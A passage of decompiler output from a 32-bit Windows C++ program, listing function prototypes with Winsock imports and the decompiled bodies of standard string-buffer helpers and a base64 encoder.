void __thiscall sub_41BDB0(int this, char *Str, int a3, int a4, int a5, int a6, int a7, int a8, int a9, int a10, int a11, int a12, int a13, int a14, int a15, char a16); // idb
void __thiscall sub_41BE90(int this, char *Str, int a3, int a4, int a5, int a6, int a7, int a8, int a9, int a10, char a11); // idb
int __stdcall sub_41BF20(int a1, int a2, int a3, int a4, int a5, unsigned int a6, int a7);
int __stdcall sub_41BF40(int a1, int a2, int a3, int a4, int a5, signed int a6, int a7, int a8, int a9, int a10, int a11, int a12, int a13, signed int a14, int a15, int a16, int a17, int a18, int a19, int a20, unsigned int a21, int a22);
int __stdcall sub_41BFA0(int a1, int a2, int a3, int a4, int a5, int a6, unsigned int a7, int a8, int a9);
int __stdcall sub_41BFC0(int a1, int a2, int a3, int a4, int a5, unsigned int a6, int a7, int a8, int a9, int a10, int a11, int a12, signed int a13, int a14, int a15, int a16, int a17, int a18, int a19, int a20, int a21, int a22, int a23);
// int __userpurge sub_41C000<eax>(int a1<esi>, int a2);
// char __usercall sub_41C0A0<al>(int a1<eax>, int a2<edi>);
// int __usercall sub_41C1C0<eax>(int a1<edi>);
// int __usercall sub_41C290<eax>(unsigned int a1<ecx>, int a2<edi>);
unsigned int __fastcall sub_41C3A0(int a1);
unsigned int __thiscall sub_41C410(int this, unsigned int a2);
int __fastcall sub_41C510(unsigned int a1);
// int __usercall sub_41C570<eax>(int a1<eax>, int a2<ecx>, int a3<ebx>);
int __thiscall sub_41C5D0(int this, int a2, int a3);
// int __userpurge sub_41C690<eax>(int a1<esi>, int a2, int a3, int a4, int a5, int a6, signed int a7, int a8, int a9, int a10, int a11, int a12, int a13, int a14, unsigned int a15, int a16);
// int __usercall sub_41C7C0<eax>(int a1<esi>);
signed int __thiscall sub_41C830(int this, int a2, int a3, int a4, int a5, int a6, unsigned int a7, int a8, int a9);
// char __usercall sub_41C960<al>(int a1<edi>);
char __fastcall sub_41CA20(int a1);
char __stdcall sub_41CB80(int a1);
signed int __thiscall sub_41CBF0(int this, int a2, int a3, int a4, int a5, int a6, unsigned int a7, int a8, int a9);
char __fastcall sub_41CD90(int a1);
// char __usercall sub_41CF10<al>(int a1<eax>);
char __fastcall sub_41CF60(int a1);
// char __usercall sub_41D010<al>(int a1<edx>, int a2<ebx>);
// void *__usercall sub_41D0D0<eax>(int a1<esi>);
int __thiscall sub_41D130(int this, void *Src, int a3, int a4, int a5); // idb
// int __usercall sub_41D2A0<eax>(int result<eax>, int a2, int a3);
// signed int __usercall sub_41D2D0<eax>(int a1<eax>, int a2<edi>, int a3);
// signed int __usercall sub_41D3A0<eax>(struct sockaddr *name<ecx>, int a2<edx>, SOCKET a3<esi>); idb
// int __usercall sub_41D5F0<eax>(int len<ecx>, int a2<edx>, SOCKET a3<edi>, int a4, int a5); idb
// int __usercall sub_41D7D0<eax>(int len<ecx>, int a2<edx>, SOCKET a3<edi>, int a4, char a5, char a6); idb
// int __usercall sub_41D9E4<eax>(int a1<eax>, int a2<edx>, int a3<ecx>, int a4<ebx>, int a5<edi>, int a6<esi>, char a7);
// void __cdecl operator delete(void *); idb
// int __userpurge sub_41DA06<eax>(void *a1<ecx>, int a2<ebp>, char a3); idb
_onexit_t __cdecl sub_41DA52(_onexit_t Ptr); // idb
int __cdecl sub_41DAEA();
int __cdecl sub_41DAF3(_onexit_t Ptr); // idb
int __cdecl sub_41DB0A();
int __cdecl sub_41DCDE();
// int __usercall sub_41DDA2<eax>(int a1<eax>, int a2<edx>, int a3<ecx>, int a4<ebx>, int a5<edi>, int a6<esi>, char a7);
int __stdcall sub_41DEA8(int a1, int a2, int a3, int (*a4)(void));
// int __userpurge sub_41DF06<eax>(int a1<ebp>, int a2, int a3, int a4, int (__thiscall *a5)(_DWORD));
// int __usercall sub_41DF51<eax>(int a1<ebp>);
// int __cdecl unlock(_DWORD); weak
// int __cdecl _dllonexit(_DWORD, _DWORD, _DWORD); weak
// int __cdecl lock(_DWORD); weak
int __cdecl sub_41DFD9(int a1, int a2, int a3, int a4);
int __stdcall sub_41DFFE(int a1);
int __fastcall sub_41E040(int a1);
// int __cdecl amsg_exit(_DWORD); weak
int *__cdecl sub_41E054();
int __cdecl byte_41E07A(); // idb
bool __cdecl sub_41E0B0(int a1);
int __cdecl sub_41E0F0(int a1, unsigned int a2);
// unsigned int __usercall sub_41E140<eax>(int a1<eax>, int a2);
errno_t __cdecl sub_41E208();
int __cdecl sub_41E230();
signed int __cdecl sub_41E233();
// int __cdecl crt_debugger_hook(_DWORD); weak
// void __cdecl terminate(); idb
// int type_info___type_info_dtor_internal_method(void); weak
// int __cdecl except_handler4_common(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD); weak
// int __stdcall invoke_watson(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD); weak
// errno_t __cdecl controlfp_s(unsigned int *CurrentState, unsigned int NewValue, unsigned int Mask); idb
// void *__cdecl memset(void *Dst, int Val, size_t Size); idb
// void *__cdecl memcpy(void *Dst, const void *Src, size_t Size); idb
// int __stdcall CxxThrowException(_DWORD, _DWORD); weak
// int __usercall sub_41E310<eax>(unsigned int a1<eax>);
int sub_41E510(); // weak
int __cdecl sub_420A20();
int __cdecl sub_420A90();
int __cdecl sub_420B00();
int __cdecl sub_420B70();
int __cdecl sub_420BE0();
int __cdecl sub_420C50();
int __cdecl sub_420CC0();
int __cdecl sub_420D30();
int __cdecl sub_420DA0();
// PVOID __stdcall DecodePointer(PVOID Ptr); idb
// PVOID __stdcall EncodePointer(PVOID Ptr); idb
// int __thiscall std__basic_ostream_char_std__char_traits_char____operator__(_DWORD, _DWORD); weak
// void std__basic_streambuf_char_std__char_traits_char_____basic_streambuf_char_std__char_traits_char__(); weak
// int __stdcall std___Xout_of_range(_DWORD); weak
// int __stdcall std___Xlength_error(_DWORD); weak
// int __thiscall std___Container_base12____Container_base12(_DWORD); weak
// int std__uncaught_exception(void); weak
// int __thiscall std__basic_streambuf_char_std__char_traits_char____sputn(_DWORD, _DWORD, _DWORD, _DWORD); weak
// int __thiscall std__basic_ostream_char_std__char_traits_char_____Osfx(_DWORD); weak
// int __cdecl std__basic_streambuf_char_std__char_traits_char____basic_streambuf_char_std__char_traits_char__(_DWORD); weak
// int __thiscall std__basic_ostream_char_std__char_traits_char____basic_ostream_char_std__char_traits_char__(_DWORD); weak
// int __thiscall std__basic_ios_char_std__char_traits_char____basic_ios_char_std__char_traits_char__(_DWORD); weak
// int __thiscall std__basic_streambuf_char_std__char_traits_char_____Pninc(_DWORD); weak
// int __thiscall std__basic_streambuf_char_std__char_traits_char____sputc(_DWORD, _DWORD); weak
// int __thiscall std__basic_ostream_char_std__char_traits_char____flush(_DWORD); weak
// int __thiscall std__basic_ostream_char_std__char_traits_char____operator__(_DWORD); weak
// int __fastcall std__basic_ios_char_std__char_traits_char____setstate(_DWORD, _DWORD, _DWORD, _DWORD); weak
// int std__basic_ios_char_std__char_traits_char_____basic_ios_char_std__char_traits_char__(void); weak
// int std____non_rtti_object_____non_rtti_object(void); weak
// int __thiscall std__exception__exception(_DWORD, _DWORD); weak
// void *__cdecl memmove(void *Dst, const void *Src, size_t Size); idb
// int __cdecl operator delete(_DWORD); weak
// int __cdecl operator new(_DWORD); weak
// void *__cdecl memchr(const void *Buf, int Val, size_t MaxCount); idb
// int __cdecl atoi(const char *Str); idb
// int sprintf(char *Dest, const char *Format, ...); idb
// void __cdecl free(void *Memory); idb
// void *__cdecl malloc(size_t Size); idb
// char *__cdecl strstr(const char *Str, const char *SubStr); idb
// int snprintf_c(char *DstBuf, size_t MaxCount, const char *Format, ...); idb
// int __cdecl beginthreadex(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD); weak
// int printf(const char *Format, ...); idb
// FILE *__cdecl fopen(const char *Filename, const char *Mode); idb
// size_t __cdecl fread(void *DstBuf, size_t ElementSize, size_t Count, FILE *File); idb
// void __cdecl srand(unsigned int Seed); idb
// size_t __cdecl fwrite(const void *Str, size_t Size, size_t Count, FILE *File); idb
// __int32 __cdecl ftell(FILE *File); idb
// int __cdecl fseek(FILE *File, __int32 Offset, int Origin); idb
// int __cdecl fclose(FILE *File); idb
// __time64_t __cdecl time64(__time64_t *Time); idb
// int __cdecl rand(); idb
// int __cdecl ftime64(_DWORD); weak
// __int32 __cdecl atol(const char *Str); idb
// char *__cdecl strncpy(char *Dest, const char *Source, size_t Count); idb
// int *__cdecl errno(); idb
// _onexit_t __cdecl onexit(_onexit_t Func); idb
// int __cdecl _getmainargs(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD); weak
// int __cdecl configthreadlocale(_DWORD); weak
// int __cdecl _setusermatherr(_DWORD); weak
// int __cdecl _set_app_type(_DWORD); weak
// int __stdcall WSAGetLastError(); idb
// int __stdcall select(int nfds, fd_set *readfds, fd_set *writefds, fd_set *exceptfds, const struct timeval *timeout); idb
// int __stdcall WSAStartup(WORD wVersionRequested, LPWSADATA lpWSAData); idb
// char *__stdcall inet_ntoa(struct in_addr in); idb
// int __stdcall ioctlsocket(SOCKET s, __int32 cmd, u_long *argp); idb
// int __stdcall shutdown(SOCKET s, int how); idb
// int __stdcall setsockopt(SOCKET s, int level, int optname, const char *optval, int optlen); idb
// int __stdcall recv(SOCKET s, char *buf, int len, int flags); idb
// int __stdcall bind(SOCKET s, const struct sockaddr *name, int namelen); idb
// SOCKET __stdcall socket(int af, int type, int protocol); idb
// int __stdcall _WSAFDIsSet(SOCKET fd, fd_set *); idb
// int __stdcall closesocket(SOCKET s); idb
// int __stdcall send(SOCKET s, const char *buf, int len, int flags); idb
// int __stdcall listen(SOCKET s, int backlog); idb
// SOCKET __stdcall accept(SOCKET s, struct sockaddr *addr, int *addrlen); idb
// u_long __stdcall htonl(u_long hostlong); idb
// u_long __stdcall htonl_0(u_long hostlong); idb
// u_short __stdcall htons(u_short hostshort); idb
// u_short __stdcall htons_0(u_short hostshort); idb
// int __stdcall getpeername(SOCKET s, struct sockaddr *name, int *namelen); idb
// struct hostent *__stdcall gethostbyname(const char *name); idb
// int __stdcall getsockopt(SOCKET s, int level, int optname, char *optval, int *optlen); idb
// void __stdcall WSASetLastError(int iError); idb
// int __stdcall connect(SOCKET s, const struct sockaddr *name, int namelen); idb
// __int64 __userpurge sub_42A5E0<edx:eax>(__int64 a1<edx:eax>, int a2<esi>, int a3, void *a4);
// __int64 __usercall sub_42A721<edx:eax>(__int64 a1<edx:eax>, int a2<ebp>);
// __int64 __usercall sub_42A772<edx:eax>(__int64 a1<edx:eax>, int a2<ebp>, int a3<esi>);
// unsigned int __usercall sub_42A7B6<eax>(int a1<esi>);


//----- (00401010) --------------------------------------------------------
int __thiscall sub_401010(int this, char a2)
{
  int v2; // esi@1

  v2 = this;
  *(_DWORD *)this = &off_4212F0;
  std____non_rtti_object_____non_rtti_object();
  if ( a2 & 1 )
    operator delete(v2);
  return v2;
}

//----- (00401040) --------------------------------------------------------
int __userpurge sub_401040<eax>(int a1<eax>, int a2, unsigned int a3)
{
  int result; // eax@1
  int v2; // ebx@1
  int v3; // esi@1
  int v4; // edi@6
  int *v5; // eax@7
  size_t v6; // ST00_4@7
  int v7; // edi@7
  int v8; // edi@8
  int v9; // edi@10
  int v10; // [sp+Ch] [bp-4h]@1

  v3 = a1;
  v2 = 0;
  v10 = 0;
  result = setLoginHost(byte_4212B9, 0, a1);
  if ( a3 > 0 )
  {
    while ( 1 )
    {
      if ( a3 - v2 == 1 )
      {
        v8 = a2;
        sub_4011D0(aAbcdefghijklmn[(unsigned int)*(_BYTE *)(v2 + a2) >> 2], v3);
        sub_4011D0(aAbcdefghijklmn[16 * (*(_BYTE *)(v10 + v8) & 3)], v3);
        v6 = 2;
        v5 = &dword_4212BC;
      }
      else
      {
        if ( a3 - v2 != 2 )
        {
          sub_4011D0(aAbcdefghijklmn[(unsigned int)*(_BYTE *)(v2 + a2) >> 2], v3);
          v4 = v10;
          sub_4011D0(
            *(&aAbcdefghijklmn[16 * (*(_BYTE *)(v10 + a2) & 3)] + ((unsigned int)*(_BYTE *)(v10 + a2 + 1) >> 4)),
            v3);
          sub_4011D0(
            *(&aAbcdefghijklmn[4 * (*(_BYTE *)(v4 + a2 + 1) & 0xF)] + ((unsigned int)*(_BYTE *)(v4 + a2 + 2) >> 6)),
            v3);
          result = sub_4011D0(aAbcdefghijklmn[*(_BYTE *)(v10 + a2 + 2) & 0x3F], v3);
          goto LABEL_10;
        }
        v7 = a2;
        sub_4011D0(aAbcdefghijklmn[(unsigned int)*(_BYTE *)(v2 + a2) >> 2], v3);
        sub_4011D0(
          *(&aAbcdefghijklmn[16 * (*(_BYTE *)(v10 + v7) & 3)] + ((unsigned int)*(_BYTE *)(v10 + v7 + 1) >> 4)),
          v3);
        sub_4011D0(aAbcdefghijklmn[4 * (*(_BYTE *)(v10 + v7 + 1) & 0xF)], v3);
        v6 = 1;
        v5 = &dword_4212C0;
      }
      result = sub_401270(v3, v5, v6);
      v4 = v10;
LABEL_10:
      v9 = v4 + 3;
      v10 = v9;
      if ( v9 >= a3 )
        return result;
      v2 = v10;
    }
  }
  return result;
}

//----- (004011A0) --------------------------------------------------------
int __userpurge sub_4011A0<eax>(const void *a1<eax>, int a2)
{
  return setLoginHost(a1, strlen((const char *)a1), a2);
}

//----- (004011D0) --------------------------------------------------------
int __usercall sub_4011D0<eax>(char a1<bl>, int a2<esi>)
{
  size_t v2; // ecx@1
  void *v3; // edi@3
  int v4; // eax@5
  int v5; // eax@8
  int result; // eax@11

  v2 = *(_DWORD *)(a2 + 16);
  if ( -1 - v2 <= 1 )
    std___Xlength_error("string too long");
  v3 = (void *)(v2 + 1);
  if ( !(v2 + 1 < 0xFFFFFFFE | v2 == -3) )
    std___Xlength_error("string too long");
  v4 = *(_DWORD *)(a2 + 20);
  if ( v4 < (unsigned int)v3 )
  {
    sub_4016E0(v4, a2, v3, v2);
    if ( !v3 )
      return a2;
LABEL_7:
    if ( *(_DWORD *)(a2 + 20) < 0x10u )
      v5 = a2;
    else
      v5 = *(_DWORD *)a2;
    *(_BYTE *)(v5 + *(_DWORD *)(a2 + 16)) = a1;
    *(_DWORD *)(a2 + 16) = v3;
    if ( *(_DWORD *)(a2 + 20) >= 0x10u )
    {
      *((_BYTE *)v3 + *(_DWORD *)a2) = 0;
      return a2;
    }
    *((_BYTE *)v3 + a2) = 0;
    return a2;
  }
  if ( v3 )
    goto LABEL_7;
  *(_DWORD *)(a2 + 16) = v3;
  if ( (unsigned int)v4 < 0x10 )
  {
    result = a2;
    *(_BYTE *)a2 = 0;
  }
  else
  {
    **(_BYTE **)a2 = 0;
    result = a2;
  }
  return result;
}

//----- (00401260) --------------------------------------------------------
int __usercall sub_401260<eax>(int result<eax>)
{
  if ( *(_DWORD *)(result + 20) >= 0x10u )
    result = *(_DWORD *)result;
  return result;
}

//----- (00401270) --------------------------------------------------------
int __userpurge sub_401270<eax>(int a1<ecx>, const void *a2<eax>, size_t Size)
{
  const void *v3; // ebx@1
  int v4; // esi@1
  unsigned int v5; // ecx@2
  int v6; // eax@3
  int v7; // eax@7
  int result; // eax@11
  int v9; // eax@13
  size_t v10; // edx@13
  void *v11; // edi@16
  unsigned int v12; // ecx@18
  int v13; // eax@21
  char v14; // cf@27

  v3 = a2;
  v4 = a1;
  if ( a2 )
  {
    v5 = *(_DWORD *)(a1 + 20);
    if ( v5 < 0x10 )
      v6 = v4;
    else
      v6 = *(_DWORD *)v4;
    if ( (unsigned int)v3 >= v6 )
    {
      if ( v5 < 0x10 )
        v7 = v4;
      else
        v7 = *(_DWORD *)v4;
      if ( v7 + *(_DWORD *)(v4 + 16) > (unsigned int)v3 )
      {
        if ( v5 < 0x10 )
          result = sub_401510(Size, v4, v4, (unsigned int)((char *)v3 - v4));
        else
          result = sub_401510(Size, v4, v4, (unsigned int)((char *)v3 - *(_DWORD *)v4));
        return result;
      }
    }
  }
  v9 = *(_DWORD *)(v4 + 16);
  v10 = Size;
  if ( -1 - v9 <= Size )
    v9 = std___Xlength_error("string too long");
  if ( !v10 )
    return v4;
  v11 = (void *)(v9 + v10);
  if ( v9 + v10 > 0xFFFFFFFE )
    v9 = std___Xlength_error("string too long");
  v12 = *(_DWORD *)(v4 + 20);
  if ( v12 < (unsigned int)v11 )
  {
    sub_4016E0(v9, v4, v11, v9);
    v10 = Size;
    if ( v11 )
    {
LABEL_20:
      if ( *(_DWORD *)(v4 + 20) < 0x10u )
        v13 = v4;
      else
        v13 = *(_DWORD *)v4;
      memcpy((void *)(v13 + *(_DWORD *)(v4 + 16)), v3, v10);
      v14 = *(_DWORD *)(v4 + 20) < 0x10u;
      *(_DWORD *)(v4 + 16) = v11;
      if ( !v14 )
      {
        *((_BYTE *)v11 + *(_DWORD *)v4) = 0;
        return v4;
      }
      *((_BYTE *)v11 + v4) = 0;
    }
    return v4;
  }
  if ( v11 )
    goto LABEL_20;
  *(_DWORD *)(v4 + 16) = v11;
  if ( v12 < 0x10 )
  {
    result = v4;
    *(_BYTE *)v4 = 0;
  }
  else
  {
    **(_BYTE **)v4 = 0;
    result = v4;
  }
  return result;
}

//----- (00401390) --------------------------------------------------------
int __usercall setLoginHost<eax>(const void *a1<eax>, unsigned int a2<edi>, int a3<esi>)
{
  const void *v3; // ebx@1
  unsigned int v4; // ecx@2
  const void *v5; // eax@3
  int v6; // eax@7
  int result; // eax@11
  unsigned int v8; // eax@15
  void *v9; // eax@18
  char v10; // cf@24

  v3 = a1;
  if ( a1 )
  {
    v4 = *(_DWORD *)(a3 + 20);
    if ( v4 < 0x10 )
      v5 = (const void *)a3;
    else
      v5 = *(const void **)a3;
    if ( v3 >= v5 )
    {
      if ( v4 < 0x10 )
        v6 = a3;
      else
        v6 = *(_DWORD *)a3;
      if ( v6 + *(_DWORD *)(a3 + 16) > (unsigned int)v3 )
      {
        if ( v4 < 0x10 )
          result = sub_401600(a3, a2, (int)((char *)v3 - a3), a3);
        else
          result = sub_401600(a3, a2, (int)((char *)v3 - *(_DWORD *)a3), a3);
        return result;
      }
    }
  }
  if ( a2 > 0xFFFFFFFE )
    std___Xlength_error("string too long");
  v8 = *(_DWORD *)(a3 + 20);
  if ( v8 < a2 )
  {
    sub_4016E0(*(_DWORD *)(a3 + 16), a3, (void *)a2, *(_DWORD *)(a3 + 16));
    if ( !a2 )
      return a3;
LABEL_17:
    if ( *(_DWORD *)(a3 + 20) < 0x10u )
      v9 = (void *)a3;
    else
      v9 = *(void **)a3;
    memcpy(v9, v3, a2);
    v10 = *(_DWORD *)(a3 + 20) < 0x10u;
    *(_DWORD *)(a3 + 16) = a2;
    if ( !v10 )
    {
      *(_BYTE *)(*(_DWORD *)a3 + a2) = 0;
      return a3;
    }
    *(_BYTE *)(a3 + a2) = 0;
    return a3;
  }
  if ( a2 )
    goto LABEL_17;
  *(_DWORD *)(a3 + 16) = a2;
  if ( v8 < 0x10 )
  {
    result = a3;
    *(_BYTE *)a3 = 0;
  }
  else
  {
    **(_BYTE **)a3 = 0;
    result = a3;
  }
  return result;
}

//----- (00401460) --------------------------------------------------------
bool __userpurge sub_401460<eax>(int a1<eax>, void *Dst, char a3)
{
  void *v1; // ebx@1
  int v2; // esi@1
  unsigned int v3; // eax@3
  bool result; // eax@4
  size_t v5; // edi@7
  const void *v6; // ebx@10

  v1 = Dst;
  v2 = a1;
  if ( (unsigned int)Dst > 0xFFFFFFFE )
    std___Xlength_error("string too long");
  v3 = *(_DWORD *)(v2 + 20);
  if ( v3 >= (unsigned int)v1 )
  {
    if ( a3 && (unsigned int)v1 < 0x10 )
    {
      v5 = *(_DWORD *)(v2 + 16);
      if ( (unsigned int)v1 < v5 )
        v5 = (size_t)v1;
      if ( v3 >= 0x10 )
      {
        v6 = *(const void **)v2;
        if ( v5 )
          memcpy((void *)v2, *(const void **)v2, v5);
        operator delete(v6);
        v1 = Dst;
      }
      *(_DWORD *)(v2 + 16) = v5;
      *(_DWORD *)(v2 + 20) = 15;
      *(_BYTE *)(v5 + v2) = 0;
      result = (unsigned int)v1 > 0;
    }
    else
    {
      if ( !v1 )
      {
        *(_DWORD *)(v2 + 16) = v1;
        if ( v3 >= 0x10 )
          v2 = *(_DWORD *)v2;
        *(_BYTE *)v2 = 0;
      }
      result = (unsigned int)v1 > 0;
    }
  }
  else
  {
    sub_4016E0(*(_DWORD *)(v2 + 16), v2, v1, *(_DWORD *)(v2 + 16));
    result = (unsigned int)v1 > 0;
  }
  return result;
}

//----- (00401510) --------------------------------------------------------
int __userpurge sub_401510<eax>(size_t a1<eax>, int a2<esi>, int a3, unsigned int a4)
{
  int v2; // eax@1
  unsigned int v3; // edx@1
  size_t v4; // ebx@1
  int v5; // eax@3
  int v6; // eax@5
  void *v7; // edi@8
  unsigned int v8; // ecx@10
  int v9; // ecx@12
  int v10; // eax@15
  int result; // eax@18
  char v12; // cf@21

  v3 = a4;
  v4 = a1;
  v2 = *(_DWORD *)(a3 + 16);
  if ( v2 < a4 )
    v2 = std___Xout_of_range("invalid string position");
  v5 = v2 - v3;
  if ( v5 < v4 )
    v4 = v5;
  v6 = *(_DWORD *)(a2 + 16);
  if ( -1 - v6 <= v4 )
    v6 = std___Xlength_error("string too long");
  if ( !v4 )
    return a2;
  v7 = (void *)(v6 + v4);
  if ( v6 + v4 > 0xFFFFFFFE )
    v6 = std___Xlength_error("string too long");
  v8 = *(_DWORD *)(a2 + 20);
  if ( v8 < (unsigned int)v7 )
  {
    sub_4016E0(v6, a2, v7, v6);
    v3 = a4;
    if ( v7 )
    {
LABEL_12:
      v9 = a3;
      if ( *(_DWORD *)(a3 + 20) >= 0x10u )
        v9 = *(_DWORD *)a3;
      if ( *(_DWORD *)(a2 + 20) < 0x10u )
        v10 = a2;
      else
        v10 = *(_DWORD *)a2;
      memcpy((void *)(v10 + *(_DWORD *)(a2 + 16)), (const void *)(v3 + v9), v4);
      v12 = *(_DWORD *)(a2 + 20) < 0x10u;
      *(_DWORD *)(a2 + 16) = v7;
      if ( !v12 )
      {
        *((_BYTE *)v7 + *(_DWORD *)a2) = 0;
        return a2;
      }
      *((_BYTE *)v7 + a2) = 0;
    }
    return a2;
  }
  if ( v7 )
    goto LABEL_12;
  *(_DWORD *)(a2 + 16) = v7;
  if ( v8 < 0x10 )
  {
    result = a2;
    *(_BYTE *)a2 = 0;
  }
  else
  {
    **(_BYTE **)a2 = 0;
    result = a2;
  }
  return result;
}

//----- (00401600) --------------------------------------------------------
int __userpurge sub_401600<eax>(int a1<ecx>, int a2<eax>, int a3<ebx>, int a4)
{
  int v4; // ecx@1
  unsigned int v5; // edi@1
  int v6; // esi@1
  size_t v7; // edi@3
  int result; // eax@6
  unsigned int v9; // eax@9
  void *v10; // eax@14
  char v11; // cf@20

  v6 = a1;
  v4 = a4;
  v5 = *(_DWORD *)(a4 + 16);
  if ( v5 < a3 )
    a2 = std___Xout_of_range("invalid string position");
  v7 = v5 - a3;
  if ( a2 < v7 )
    v7 = a2;
  if ( v6 == v4 )
  {
    sub_401850(-1, v7 + a3, v6);
    sub_401850(a3, 0, v6);
    return v6;
  }
  if ( v7 > 0xFFFFFFFE )
    std___Xlength_error("string too long");
  v9 = *(_DWORD *)(v6 + 20);
  if ( v9 < v7 )
  {
    sub_4016E0(*(_DWORD *)(v6 + 16), v6, (void *)v7, *(_DWORD *)(v6 + 16));
    v4 = a4;
    if ( !v7 )
      return v6;
LABEL_11:
    if ( *(_DWORD *)(v4 + 20) >= 0x10u )
      v4 = *(_DWORD *)v4;
    if ( *(_DWORD *)(v6 + 20) < 0x10u )
      v10 = (void *)v6;
    else
      v10 = *(void **)v6;
    memcpy(v10, (const void *)(a3 + v4), v7);
    v11 = *(_DWORD *)(v6 + 20) < 0x10u;
    *(_DWORD *)(v6 + 16) = v7;
    if ( !v11 )
    {
      *(_BYTE *)(*(_DWORD *)v6 + v7) = 0;
      return v6;
    }
    *(_BYTE *)(v6 + v7) = 0;
    return v6;
  }
  if ( v7 )
    goto LABEL_11;
  *(_DWORD *)(v6 + 16) = v7;
  if ( v9 < 0x10 )
  {
    result = v6;
    *(_BYTE *)v6 = 0;
  }
  else
  {
    **(_BYTE **)v6 = 0;
    result = v6;
  }
  return result;
}

//----- (004016E0) --------------------------------------------------------
void *__usercall sub_4016E0<eax>(int a1<eax>, int a2, void *Dst, size_t Size)
{
  int ST3C_4_0; // ST3C_4@0
  int ST40_4_0; // ST40_4@0
  int v6; // edi@1
  unsigned int v7; // esi@1
  unsigned int v8; // ecx@3
  unsigned int v9; // ebx@3
  int v10; // eax@6
  void *result; // eax@10
  size_t v12; // ebx@11
  const void *v13; // eax@13
  int (*v14)(); // [sp+1Ch] [bp-8h]@1
  int v15; // [sp+18h] [bp-Ch]@1
  int v16; // [sp-10h] [bp-34h]@1
  int *v17; // [sp+14h] [bp-10h]@1
  int (__stdcall ***v18)(char); // [sp+20h] [bp-4h]@6
  int v19; // [sp+10h] [bp-14h]@10
  int (__stdcall **v20)(char); // [sp+0h] [bp-24h]@10
  int * s; // [sp+24h] [bp+0h]@10
  int  r; // [sp+28h] [bp+4h]@10
  void *v23; // [sp+Ch] [bp-18h]@10

  v14 = sub_41E510;
  v15 = a1;
  v17 = &v16;
  v6 = a2;
  v7 = (unsigned int)Dst | 0xF;
  if ( ((unsigned int)Dst | 0xF) <= 0xFFFFFFFE )
  {
    v9 = *(_DWORD *)(a2 + 20);
    v8 = v9 >> 1;
    if ( v9 >> 1 > v7 / 3 )
    {
      v7 = v8 + v9;
      if ( v9 > -2 - v8 )
        v7 = -2;
    }
  }
  else
  {
    v7 = (unsigned int)Dst;
  }
  v10 = 0;
  v18 = 0;
  if ( v7 == -1 || v7 + 1 <= 0xFFFFFFFF && (v10 = operator new(v7 + 1), v10) )
  {
    Dst = (void *)v10;
    v12 = Size;
    if ( Size )
    {
      if ( *(_DWORD *)(v6 + 20) < 0x10u )
        v13 = (const void *)v6;
      else
        v13 = *(const void **)v6;
      memcpy(Dst, v13, Size);
    }
    if ( *(_DWORD *)(v6 + 20) >= 0x10u )
      operator delete(*(_DWORD *)v6);
    result = Dst;
    *(_BYTE *)v6 = 0;
    *(_DWORD *)v6 = result;
    *(_DWORD *)(v6 + 20) = v7;
    *(_DWORD *)(v6 + 16) = v12;
    if ( v7 >= 0x10 )
      v6 = (int)result;
    *(_BYTE *)(v6 + v12) = 0;
  }
  else
  {
    v19 = 0;
    std__exception__exception(&v20, &v19);
     s = &dword_4227C8;
    v18 = &v20;
    v20 = &off_4212F0;
    CxxThrowException(ST3C_4_0, ST40_4_0);
    v17 = & r;
    v23 = Dst;
    LOBYTE(v18) = 2;
    Dst = (void *)sub_405DA0((unsigned int)((char *)Dst + 1));
    result = loc_4017B1;
  }
  return result;
}

//----- (00401850) --------------------------------------------------------
int __usercall sub_401850<eax>(int a1<eax>, unsigned int a2<ecx>, int a3<esi>)
{
  int v3; // eax@1
  int v4; // edi@1
  int v5; // eax@3
  unsigned int v6; // edx@6
  int v7; // ebx@7
  int v8; // edx@10
  int v9; // eax@12
  char v11; // cf@12

  v4 = a1;
  v3 = *(_DWORD *)(a3 + 16);
  if ( v3 < a2 )
    v3 = std___Xout_of_range("invalid string position");
  v5 = v3 - a2;
  if ( v5 < (unsigned int)v4 )
    v4 = v5;
  if ( v4 )
  {
    v6 = *(_DWORD *)(a3 + 20);
    if ( v6 < 0x10 )
      v7 = a3;
    else
      v7 = *(_DWORD *)a3;
    if ( v6 < 0x10 )
      v8 = a3;
    else
      v8 = *(_DWORD *)a3;
    memmove((void *)(a2 + v8), (const void *)(v4 + a2 + v7), v5 - v4);
    v9 = *(_DWORD *)(a3 + 16) - v4;
    v11 = *(_DWORD *)(a3 + 20) < 0x10u;
    *(_DWORD *)(a3 + 16) -= v4;
    if ( !v11 )
    {
      *(_BYTE *)(*(_DWORD *)a3 + v9) = 0;
      return a3;
    }
    *(_BYTE *)(a3 + v9) = 0;
  }
  return a3;
}

//----- (00401900) --------------------------------------------------------
int __usercall sub_401900<eax>(int a1<eax>, int a2<esi>)
{
  *(_DWORD *)(a2 + 20) = 15;
  *(_DWORD *)(a2 + 16) = 0;
  *(_BYTE *)a2 = 0;
  sub_401600(a2, -1, 0, a1);
  return a2;
}

//----- (00401930) --------------------------------------------------------
int __usercall sub_401930<eax>(const void *a1<eax>, int a2<ecx>)
{
  int v3; // esi@1

  v3 = a2;
  *(_DWORD *)(a2 + 20) = 15;
  *(_DWORD *)(a2 + 16) = 0;
  *(_BYTE *)a2 = 0;
  setLoginHost(a1, strlen((const char *)a1), a2);
  return v3;
}

//----- (00401970) --------------------------------------------------------
int __usercall sub_401970<eax>(int a1<esi>)
{
  int result; // eax@2

  if ( *(_DWORD *)(a1 + 20) >= 0x10u )
    result = operator delete(*(_DWORD *)a1);
  *(_DWORD *)(a1 + 20) = 15;
  *(_DWORD *)(a1 + 16) = 0;
  *(_BYTE *)a1 = 0;
  return result;
}

//----- (004019A0) --------------------------------------------------------
int __usercall sub_4019A0<eax>(int a1<edi>, int a2<esi>)
{
  if ( a2 != a1 )
  {
    if ( *(_DWORD *)(a2 + 20) >= 0x10u )
      operator delete(*(_DWORD *)a2);
    *(_DWORD *)(a2 + 20) = 15;
    *(_DWORD *)(a2 + 16) = 0;
    *(_BYTE *)a2 = 0;
    if ( *(_DWORD *)(a1 + 20) >= 0x10u )
    {
      *(_DWORD *)a2 = *(_DWORD *)a1;
      *(_DWORD *)a1 = 0;
    }
    else
    {
      memmove((void *)a2, (const void *)a1, *(_DWORD *)(a1 + 16) + 1);
    }
    *(_DWORD *)(a2 + 16) = *(_DWORD *)(a1 + 16);
    *(_DWORD *)(a2 + 20) = *(_DWORD *)(a1 + 20);
    *(_DWORD *)(a1 + 16) = 0;
